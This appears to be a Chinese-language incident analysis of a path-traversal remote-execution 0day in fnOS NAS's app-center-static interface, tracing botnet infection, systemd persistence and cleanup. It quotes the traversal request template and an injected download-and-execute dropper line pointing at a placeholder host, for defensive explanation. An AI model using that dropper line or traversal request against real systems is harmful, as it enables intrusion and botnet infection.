飞牛 NAS（fnOS）app-center-static 0day 漏洞复盘一次从“全网断线”到系统级持久化后门的完整溯源与清除实战
关键词：fnOS、飞牛 NAS、0day、路径遍历、远程执行、systemd 持久化、僵尸网络、Linux 安全
在很多家庭和小型办公场景中，NAS 被视为“稳定、可靠、无需过多维护”的基础设施，但现实却恰恰相反——它本质上是一台长期暴露在网络边界的 Linux 服务器。一旦系统组件存在高危漏洞，或被错误地开放到公网，攻击者就可以在极短时间内完成扫描、利用与植入后门。飞牛 NAS（fnOS）此次 app-center-static 0day 事件，正是一次典型的“静默入侵”案例：表面只是网络变慢、频繁断线，背后却是一整套自动化攻击与持久化控制机制在运行。本文通过一次真实中毒排查过程，深入剖析漏洞原理、攻击链路与修复思路，帮助读者真正理解这类安全事故的成因与防范要点。
一、事件背景：一台 NAS，拖垮整个网络
在家庭与小微办公环境中，NAS 往往是全天候在线的“核心节点”。一旦该节点被攻陷，其危害远不止数据安全，而是会直接影响整个局域网的稳定性。
本次事件的导火索并非“系统报毒”，而是极其反常的网络行为：
- 路由器连接数飙升至20 万级
- 局域网设备频繁掉线、DHCP 获取失败
- 限制 NAS 连接数后，全网恢复
这表明：问题并不在路由器，而是来自内网的攻击源。
二、漏洞本质：app-center-static 路径遍历导致的远程执行
经社区分析，fnOS 在早期版本中，存在一个高危文件访问漏洞：
/app-center-static/serviceicon/myapp/{0}?size=../../../../由于后端对参数未做有效路径过滤，攻击者可构造请求：
- 直接遍历系统目录
- 读取任意文件
- 在特定条件下写入或替换脚本
- 最终形成远程命令执行（RCE）
这一漏洞具备典型 0day 特征：
无需认证、无需交互、可自动化批量扫描利用。
从 Web 服务实现机制来看，app-center-static 本质上是一个用于向前端提供应用图标与静态资源的接口，其设计初衷是通过 URL 参数动态拼接文件路径，再从服务器本地读取对应文件并返回给浏览器。然而在 fnOS 的早期实现中，后端仅对参数做了简单字符串拼接，并未对 …/、URL 编码后的路径跳转符（如 %2e%2e%2f、%7b0%7d 等）进行规范化与校验，导致攻击者可以利用“路径穿越”绕过目录限制，直接访问系统根目录下的任意文件。当这一漏洞与 NAS 系统默认以高权限用户运行的服务特性叠加时，风险被进一步放大——攻击者不仅可以读取诸如 /etc/passwd、/etc/shadow、启动脚本等敏感文件，还可以在某些可写目录中植入恶意脚本，并通过系统启动流程或 Web 服务回调触发执行，从而演变为真正意义上的远程命令执行（RCE）。
更危险的是，这类漏洞极易被自动化工具规模利用。攻击者通常会在互联网上批量扫描暴露 80/443 端口的 fnOS 设备，通过构造固定的漏洞请求模板快速判断目标是否可利用，一旦命中便立即下发后门程序，实现“秒级感染”。由于整个过程无需登录、无需交互、无明显异常提示，受害者往往只能在网络被拖垮或系统被植入后门数天甚至数周后，才意识到问题的严重性。这也正是该漏洞被视为典型 0day 的原因——它不仅破坏力强，而且具备极高的传播效率与隐蔽性，对缺乏安全防护的 NAS 用户构成了系统级威胁。
三、攻击链路复盘：从漏洞到系统级后门
1. 初始入侵
攻击者通过批量扫描公网 fnOS 设备，一旦命中漏洞，立即在系统启动脚本中注入恶意代码。
被篡改的关键文件：
/usr/trim/bin/system_startup.sh该脚本原本负责系统服务初始化，却被追加了远程下载执行逻辑。
2. 恶意载荷下发
被注入的代码会尝试从多个地址下载二进制：
wgethttp://xxx/turmp -O /tmp/turmpchmod777/tmp/turmp /tmp/turmp这类“多地址轮询”是典型僵尸网络投放手法，用于规避封堵。
3. 持久化机制
为了防止被清除，恶意程序会：
- 在
/usr/lib/systemd/system/中注册伪装服务 - 修改文件为
immutable（i 属性） - 通过 systemd 开机自启
- 若被删除，则由守护进程重新生成
四、异常行为的网络层解释
| 现象 | 技术原因 |
|---|---|
| NAT 表耗尽 | 恶意代理制造大量并发连接 |
| 内网广播风暴 | ARP 扫描与横向探测 |
| 路由 CPU 飙升 | conntrack 表爆满 |
| WiFi 断线 | DHCP 请求被阻塞 |
攻击源在内网，因此运营商与路由器的外部防护机制完全失效。
在家庭或小型办公网络中，路由器与交换芯片的设计初衷是应对“正常用户流量”，而不是承受服务器级别的高并发连接。当飞牛 NAS 被植入恶意代理或僵尸网络组件后，它会在后台不断建立对外连接，并同时接收来自公网的转发请求，短时间内即可产生成千上万条会话记录。这些连接会被路由器记录在 NAT 映射表与 conntrack 连接跟踪表中，而家用设备的表容量通常只有几万条，一旦被迅速占满，新连接将无法创建，直接表现为“所有设备突然无法上网”。
与此同时，恶意程序往往会在局域网内执行 ARP 扫描与主机探测，以寻找可横向入侵的目标。这类行为会以广播方式频繁向交换网络发送请求，触发二层广播风暴，使交换机和无线路由芯片的转发表频繁刷新，CPU 与缓存资源被迅速耗尽。此时即便网络链路本身并未中断，设备之间的数据包也会大量丢失，导致延迟激增、连接不稳定。
当路由器 CPU 被连接跟踪与广播处理任务压满后，DHCP 服务也会受到影响，新设备将无法正常获取 IP 地址，WiFi 表面看似“已连接”，实际上却无法访问任何网络资源。由于这些异常流量全部来自内网，运营商侧与传统防火墙的防护策略无法识别为外部攻击，进一步增加了排查难度，这也是为何许多用户最初误以为是“宽带故障”或“路由器老化”的根本原因。
五、溯源与清除：系统级修复要点
1. 停止并禁用恶意服务
systemctl stop SazW nginx dockers trim_pap sync_server systemctl disable SazW nginx dockers trim_pap sync_server2. 去除不可修改属性
chattr -i /sbin/gots /usr/bin/dockers...3. 强制删除恶意文件
rm-rf /sbin/gots /usr/bin/dockers...4. 重载 systemd
systemctl daemon-reload六、为何升级“短暂有效”？
升级覆盖了 Web 漏洞入口，却未清除已植入的后门。
系统重启后，恶意服务仍会恢复，因此症状“暂时消失”只是假象。
七、经验与安全建议
- NAS 属于服务器，不是家电
- 任何公网暴露服务都是攻击面
- 固件升级 ≠ 系统干净
- 必须检查 systemd、cron、启动脚本
- 网络异常往往是安全事件的第一信号
结语
这次事件并非个案，而是IoT 与轻服务器设备安全困境的缩影。
当系统默认“方便优先”而非“安全优先”时，用户必须为其后果买单。
真正的安全，不是补一个漏洞，而是建立完整的威胁模型与响应机制。
飞牛 NAS 漏洞事件揭示了一个被长期忽视的事实：当边缘设备被攻陷，它带来的影响远不止单点失效，而是可能成为整个内网的“隐形攻击源”。从路径遍历到远程执行，再到 systemd 持久化后门与恶意流量放大，这是一条完整而成熟的黑产攻击链。简单的系统升级只能修补入口，却无法清除已经植入的恶意组件，真正的恢复必须从启动脚本、服务管理、文件属性和网络行为等多层面彻底排查。只有将 NAS 纳入严肃的安全运维体系，遵循最小暴露原则并持续监控异常，才能避免类似事件再次发生。
